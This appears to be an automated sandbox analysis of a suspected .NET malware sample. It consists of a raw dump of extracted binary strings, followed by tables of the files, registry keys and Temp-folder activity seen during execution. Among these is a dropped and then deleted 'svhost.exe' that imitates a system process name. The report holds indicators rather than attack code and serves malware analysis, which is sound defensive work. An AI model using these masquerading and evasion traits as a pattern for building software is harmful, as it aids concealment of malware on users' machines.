DPFJTQUtleVZhbHVlPjxNb2R1bHVzPmlyMHpZZFR2UDFHTThUZ2oyZWpWYlVLelZEa2xyRVZkNUZka3h4YzJ2c3F5ay9zdFZCdVVWWlZ5cmlWK1ZSelhnS3J4VjAxSEZ5a24razU5Rk5ENGQyOGhySmdHaGNkd1NrZWd2ek04WXFwbXl6Y08xMlRwbnQvdmR6NmR1K2V2c1B1OWlTZEJlaGRCTG9TbmNBUkxTOWc0MlNweDdhbDQrMUk2ZkppbVJnOD08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+0ZDk4YzFkZDQtMDA4Zi0wNGIyLWU5ODAtMDk5OGVjZjg0Mjdl
,/+/o]
, +@{
Exit
get_Bottom
l%)L`!3
A+M{
E(CL
)(L/~
D/()
_neFc
)Y8b
get_Minute
l'){
FWY[nn
,hIa\
p2Z'ug99&
AWhd
DataType base64BinaryE
G)|?
DT"^
AC,'
@/(A
0hDz
G)H/(
AaQ_
+;+@,
^YZ8
_F 6k
*5 J
Y89o
^ P9?>9T?CLE)&
p!^;
percentDecimalDigits
TF5
/^)[^
fp6O
j.%h
V1L[
+C Z
.|[[8
jtWn
/FCKA#
FormStartPosition
*+>{
QG^3d
fQ==
+(L*
System.Threading
Q3VzdG9tUHJvcGVydHk=
W8:>/y
!I)^
.()uq58J
UnhandledExceptionEventHandler
C]kj
|Do(99
g"L/
U3RhY2tUcmFjZQ==
i& (
kUBk
U2VjdXJpdHlFeGNlcHRpb25Gb3Jt
-p+9
System.CodeDom.Compiler
)FlI
>jm
set_Filter
f('Z
FromHandle
get_Current
~=Le
%)90=
jgzf
]QG~+L/
o.:=
currencyDecimalDigits
GU5Q
ikje
nV')L
>(LE(&:
V4_M
J)+/N
+pXm
?x*{
EndsWith
R[8S>n
L</)
]4E#
|9=n
HCL<H6
)L/(
VSVW
\Y[n
)L/\
X[fee
{[nM;)
C87g
)L/O
)L/B
)L/A
SoapHttpClientProtocol
)L/{
)L/x
)L/y
#,..299
;NH*o9
3:cj(
~?[I&
7*V?h?/
Z:u_-9!
KoM=
>/LL
Atsssssssssssssssssssss s s s=
BgI.+
89im
[89o
F:/\cE
get_HasElementType
4ay)
3=5A
W^Y.2
388
WriteByte
GetTypeFromHandle
IAsyncResult
[89?
a&/BL|~
$JYYI
\g`9
\z) V 0
percentPositivePattern
GetDelegateForFunctionPointer
!L/x
Int16
Gy52
zgic
\Z1c
9XFE?2L}%u
L.)LC
EH }q
UnmanagedCode
System.Runtime.Serialization
.?.:f
lR6Eu&J
z}m{O
aXZ,
GetProcessById
7i(U
9M/(
}ufe
#B5_MI
+p{z
K Lo
System.Runtime.InteropServices
a) /
uG/)
\2&c
ApartmentState
-!+-
L/):
v.8>
6]Z89o
L/)&
0>1A|
{~)L
+>/~
System.Runtime.CompilerServices
L/)L
?>8>/)
>>8T/y
Z!&>
9
kOpIyp
Y[8iU+
P=LK]
$(Lx@fDZ
h Ss "
)L/(w*
~ /:
PezB9IGNhbm5vdCBpbml0aWFsaXplIGl0c2VsZiBiZWNhdXNlIHNvbWUgcGVybWlzc2lvbnMgYXJlIG5vdCBncmFudGVkLgoKWW91IHByb2JhYmx5IHRyeSB0byBsYXVuY2ggezB9IGluIGEgcGFydGlhbC10cnVzdCBzaXR1YXRpb24uIEl0J3MgdXN1YWxseSB0aGUgY2FzZSB3aGVuIHRoZSBhcHBsaWNhdGlvbiBpcyBob3N0ZWQgb24gYSBuZXR3b3JrIHNoYXJlLgoKWW91IG5lZWQgdG8gcnVuIHswfSBpbiBmdWxsLXRydXN0LCBvciBhdCBsZWFzdCBncmFudCBpdCB0aGUgVW5tYW5hZ2VkQ29kZSBzZWN1cml0eSBwZXJtaXNzaW9uLgoKVG8gZ3JhbnQgdGhpcyBhcHBsaWNhdGlvbiB0aGUgcmVxdWlyZWQgcGVybWlzc2lvbiwgY29udGFjdCB5b3VyIHN5c3RlbSBhZG1pbmlzdHJhdG9yLCBvciB1c2UgdGhlIE1pY3Jvc29mdCAuTkVUIEZyYW1ld29yayBDb25maWd1cmF0aW9uIHRvb2wu
38@
^5^MI3
j`=CP
System.Windows.Forms
`%9%
TF5_+
UIntPtr
W59tCG
get_CurrentThread
/q##
*8:S
+&*+**
G&-&
(L/9L?
t3(Lo
DLi)
#F4Y18
fTY[P
9/>8H)
{^Mu
get_ServicePoint
,#L/CJ
GcO n
oY[
2a.x]
;")LyC{U
'^-[
6,ax
b |Mvm
get_FrameCount
get_Hour
4,(9
S%=5^Y
OG,d-^
*Ey>K}
B4>/
*j B4_M
#&t
m\o"
7$L/)8kBL
uL|)
4Y18hi
L/[L
CreateEncryptor
V></)
nktq
nativeEntry
(uuq
L9ac
FF~Y[ji
ZDN{
/Hd 6
[8J/
h Sb k
Qkkbal
percentGroupSizes positiveSign negativeSign
Jr+P4}
+.+/+4+5+6+7+<+=
.L?,
/()Lw
tV?
49?;8>/
X r[XX
wdeFc
K'CME$
System.Text
BoFz
v0K<
RmllbGQ=
+S{z
Encoding
,zf:
get_Module
CryptographicException
f_U6_
nlhm
7:r2R:
-^0[
"y|S
:dC*
3Mo6:
CNIF
OnVisibleChanged
_`95
XjMBV;
U0hBMQ==
Lw== VHlwZU5hbWU=
p$[8
7z^,G
Zero
,gje)6
ReleaseHdc
d%GX
?B\
/G)
)M/)0
?/\]
Te h
6E5u
G58?
3;f=A3W`+46
M/)Lqu
oT9m
Yg|!
,l%V<4
$ 90
System.Collections.Generic
]Q89o
ZB N
"/)&n~
e;XP7
2/\k
i&+{
+'+,
uZ&*
ZS[8M
get_ModuleName
[OBa
ICryptoTransform
ZS[8h
.)L
;uhk
.L?D
+8{
NrCpsY
dVE&
]!&/CYl)
ZS[8:
x /(
A[q=3
1oq5
y\/b
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven03_64 Seven03_64 VirtualBox 2018-04-12 08:49:51 2018-04-12 08:52:41 170

8 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven03_64 Seven03_64 VirtualBox 2018-04-12 08:49:51 2018-04-12 08:52:41 170

9 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\ags.exe.config
C:\Users\Seven01\AppData\Local\Temp\ags.exe
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Local\Temp\ags.exe.Local\
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows
C:\Windows\winsxs
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\fusion.localgac
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ole32.dll
\Device\KsecDD
C:\Users\Seven01\AppData\Local\Temp\ags.config
C:\Users\Seven01\AppData\Local\Temp\ags.INI
C:\Windows\System32\l_intl.nls
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.INI
C:\Windows\assembly\GAC_MSIL\System.Drawing\2.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI
C:\Windows\Globalization\it-it.nlp
C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\08d608378aa405adc844f3cf36974b8c\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic\8.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.INI
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\bcrypt.dll
C:\Windows\Globalization\en-us.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\Globalization\it.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\diasymreader.dll
C:\Users\Seven01\AppData\Local\Temp\ags.PDB
C:\Users\Seven01\AppData\Local\Temp\it-IT\plaft.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\plaft.resources\plaft.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\plaft.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\plaft.resources\plaft.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\plaft.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\plaft.resources\plaft.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\plaft.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\plaft.resources\plaft.resources.exe
C:\Users\Seven01\AppData\Local\Temp\svhost.exe
C:\Windows\Microsoft.NET\Framework\v3.5\vbc.exe
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll
C:\Windows\assembly\GAC_32\System.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC\System.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Users\Seven01\AppData\Local\Temp\it-IT\System.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\System.resources\System.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\System.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\System.resources\System.resources.exe
C:\Windows\assembly\GAC_32\System.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it_b77a5c561934e089\System.resources.dll
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it_b77a5c561934e089\System.resources.INI
C:\Windows\SysWOW64\ntdll.dll

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\ags.exe.config
C:\Users\Seven01\AppData\Local\Temp\ags.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
\Device\KsecDD
C:\Windows\System32\l_intl.nls
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\08d608378aa405adc844f3cf36974b8c\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\diasymreader.dll
C:\Windows\Microsoft.NET\Framework\v3.5\vbc.exe
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it_b77a5c561934e089\System.resources.dll
C:\Windows\SysWOW64\ntdll.dll

Write Files

C:\Users\Seven01\AppData\Local\Temp\svhost.exe

Delete Files

C:\Users\Seven01\AppData\Local\Temp\svhost.exe

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v2.0.50727
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\AppPatch
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000\mscorwks.dll
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ags.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\Internet
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\LocalIntranet
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v2.0.50727\Security\Policy
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\GACChangeNotification\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\8739a74\334ff473
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
